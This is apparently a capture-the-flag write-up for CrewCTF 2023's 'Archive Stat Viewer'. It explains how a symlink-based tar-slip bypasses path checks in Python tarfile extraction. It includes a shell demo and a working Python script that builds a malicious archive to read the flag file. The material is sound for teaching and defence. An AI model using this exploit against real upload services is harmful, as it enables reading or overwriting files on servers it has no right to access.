{%hackmd hackmd-dark-theme %}
# Archive Stat Viewer - CrewCTF 2023
In the recent CrewCTF 2023, participants encountered a challenge named "Archive Stat Viewer". It was a zip-slip challenge. However, the challenge's authors added a unique twist by incorporating best practices for safely unpacking files, specifically highlighting the use of the tarfile module in Python.
> Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".
> Set filter='data' to prevent the most dangerous security issues, and read the Extraction filters section for details.
Remarkably, the authors of the challenge diligently adhered to the aforementioned best practices. Here's a concise demonstration:
```python
def extract_archive(archive_path, extract_folder):
with tarfile.open(archive_path) as archive:
for member in archive.getmembers():
if member.name[0] == '/' or '..' in member.name:
raise HackingException('Malicious archive')
archive.extractall(extract_folder)
```
# The Logic
The logic of the challenge was actually simple:
1. Handle a tar file upload
2. **safley** unpack
3. View the actual result in a JSON file
```python
@app.get('/results/<archive_id>')
def download_result(archive_id):
if 'archives' not in session:
session['archives'] = []
archive_id = Path(archive_id).name
return send_file(UPLOAD_DIR / archive_id / 'result.json')
```
# The Out-Of-Bound Write
Because the code was being handled by the server-side code of the challenge, tricks like using encoding simply wont work.
But because there wasn't a protection against symlinks, we are able to create a symlink to the root of the filesystem **/** and write to a specific path afterwards.
```bash
root@4120bf685729:/tmp# ls -la
total 8
drwxrwxrwt 1 root root 4096 Aug 16 05:33 .
drwxr-xr-x 1 root root 4096 Aug 16 04:30 ..
root@4120bf685729:/tmp# ln -s / symlink.jpg
root@4120bf685729:/tmp# echo "Oh pwned" > symlink.jpg/tmp/pwned
root@4120bf685729:/tmp# ls -la
total 12
drwxrwxrwt 1 root root 4096 Aug 16 05:34 .
drwxr-xr-x 1 root root 4096 Aug 16 04:30 ..
-rw-r--r-- 1 root root 9 Aug 16 05:34 pwned
lrwxrwxrwx 1 root root 1 Aug 16 05:34 symlink.jpg -> /
root@4120bf685729:/tmp#
```
# The Solution
We can simply replicate the previous technique using Python **tarfile**
```python
import tarfile
with tarfile.open('exploit.tar.gz', 'w:gz') as tar:
# First file
info1 = tarfile.TarInfo("./test.txt")
info1.type = tarfile.SYMTYPE
info1.linkname = "/"
tar.addfile(info1)
# Second file
info2 = tarfile.TarInfo("./test.txt/web-apps/src/archives/658bf5b0-b12f-48c9-be3d-e9ff465a2a94/result.json") # uuid of previously uploaded file
info2.type = tarfile.SYMTYPE
info2.linkname = "/web-apps/src/flag.txt"
tar.addfile(info2)
```
# Refs
https://security.snyk.io/research/zip-slip-vulnerability
https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf
https://www.youtube.com/watch?v=Ry_yb5Oipq0